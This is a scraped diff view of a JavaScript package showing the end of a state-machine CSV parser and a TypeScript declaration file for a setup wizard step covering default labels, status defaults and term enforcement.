if (state === "cellStart") {
|
|
491
|
+
if (ch === '"') {
|
|
492
|
+
state = "quoted";
|
|
493
|
+
continue;
|
|
494
|
+
}
|
|
495
|
+
if (ch === ",") {
|
|
496
|
+
finishCell();
|
|
497
|
+
continue;
|
|
498
|
+
}
|
|
499
|
+
if (ch === "\n") {
|
|
500
|
+
finishRow();
|
|
501
|
+
continue;
|
|
502
|
+
}
|
|
503
|
+
if (ch === "\r") {
|
|
504
|
+
if (text[i + 1] === "\n")
|
|
505
|
+
i++;
|
|
506
|
+
finishRow();
|
|
507
|
+
continue;
|
|
508
|
+
}
|
|
509
|
+
cell += ch;
|
|
510
|
+
state = "unquoted";
|
|
511
|
+
continue;
|
|
512
|
+
}
|
|
513
|
+
if (state === "unquoted") {
|
|
514
|
+
if (ch === ",") {
|
|
515
|
+
finishCell();
|
|
516
|
+
continue;
|
|
517
|
+
}
|
|
518
|
+
if (ch === "\n") {
|
|
519
|
+
finishRow();
|
|
520
|
+
continue;
|
|
521
|
+
}
|
|
522
|
+
if (ch === "\r") {
|
|
523
|
+
if (text[i + 1] === "\n")
|
|
524
|
+
i++;
|
|
525
|
+
finishRow();
|
|
526
|
+
continue;
|
|
527
|
+
}
|
|
528
|
+
cell += ch;
|
|
529
|
+
continue;
|
|
530
|
+
}
|
|
531
|
+
if (state === "quoted") {
|
|
532
|
+
if (ch === '"') {
|
|
533
|
+
state = "quotedEnd";
|
|
534
|
+
continue;
|
|
535
|
+
}
|
|
536
|
+
cell += ch;
|
|
537
|
+
continue;
|
|
538
|
+
}
|
|
539
|
+
// quotedEnd
|
|
540
|
+
if (ch === '"') {
|
|
541
|
+
cell += '"';
|
|
542
|
+
state = "quoted";
|
|
543
|
+
continue;
|
|
544
|
+
}
|
|
545
|
+
if (ch === ",") {
|
|
546
|
+
finishCell();
|
|
547
|
+
continue;
|
|
548
|
+
}
|
|
549
|
+
if (ch === "\n") {
|
|
550
|
+
finishRow();
|
|
551
|
+
continue;
|
|
552
|
+
}
|
|
553
|
+
if (ch === "\r") {
|
|
554
|
+
if (text[i + 1] === "\n")
|
|
555
|
+
i++;
|
|
556
|
+
finishRow();
|
|
557
|
+
continue;
|
|
558
|
+
}
|
|
559
|
+
// Stray character after a closed quote — forgive and treat as unquoted.
|
|
560
|
+
cell += ch;
|
|
561
|
+
state = "unquoted";
|
|
562
|
+
}
|
|
563
|
+
// Trailing record (no terminating newline).
|
|
564
|
+
if (cell.length > 0 || row.length > 0) {
|
|
565
|
+
row.push(cell);
|
|
566
|
+
records.push(row);
|
|
567
|
+
}
|
|
568
|
+
return records;
|
|
569
|
+
}
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Step 4 of the wizard: default labels, status defaults, term enforcement.
|
|
3
|
+
*
|
|
4
|
+
* All optional. Each subsection asks "change?" with default=N so re-running
|
|
5
|
+
* with no input is a no-op.
|
|
6
|
+
*/
|
|
7
|
+
import { type WizardConfig } from "./shared.js";
|
|
8
|
+
export interface DefaultsStepResult {
|
|
9
|
+
defaultLabels: string[] | undefined;
|
|
10
|
+
/**
|
|
11
|
+
* Status defaults. Both fields are optional so the wizard preserves
|
|
12
|
+
* partial existing configs (`{ noProject: "Backlog" }` only) byte-for-byte
|
|
13
|
+
* when the user skips the edit step. The runtime config loader applies
|
|
14
|
+
* fallbacks at read time.
|
|
15
|
+
*/
|
|
16
|
+
statusDefaults: {
|
|
17
|
+
noProject?: string;
|
|
18
|
+
withAssigneeAndProject?: string;
|
|
19
|
+
} | undefined;
|
|
20
|
+
terms: Array<{
|
|
21
|
+
canonical: string;
|
|
22
|
+
reject: string[];
|
|
23
|
+
}> | undefined;
|
|
24
|
+
}
|
|
25
|
+
export declare function runDefaultsStep(existing: WizardConfig): Promise<DefaultsStepResult>;
|